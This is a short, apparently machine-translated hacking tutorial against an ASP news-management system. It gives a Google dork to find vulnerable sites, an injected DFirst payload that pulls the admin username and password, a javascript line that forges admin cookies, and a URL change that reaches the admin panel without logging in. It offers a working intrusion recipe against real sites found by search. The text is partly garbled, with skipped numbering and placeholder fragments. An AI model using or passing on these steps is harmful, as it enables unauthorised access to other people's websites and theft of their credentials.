COOKIES cheating and killing loopholes go into the background.
Search on Google: inurl:news_more.asp?lm2=
Search for the following sites: http://www.*********/news_more.asp?lm2=169
1. Replace "/ news_more.asp?lm2=169" with "/ admin/admin_news_pl_view.asp?id=1"
two。 Paste the |'+ dfirst ("[user]", "[admin]") + chr (124) + dfirst ("[pass]", "[admin]") and username=' into the box below, and save the changes.
3.
Alert ([xss_clean] = "adminuser=" + escape ("1")); alert ([xss_clean] = "adminpass=" + escape ("2")); copy the code into the browser and enter; (note: fill in figure 1 at red 1 and figure 2 at 2)
Click OK.
Click OK.
5. Change the address http://www.*********/admin/admin_news_pl_view.asp?id=1 to http://www.*********/admin/admin_index.asp enter, and you can enter the background directly without logging in. As in the picture
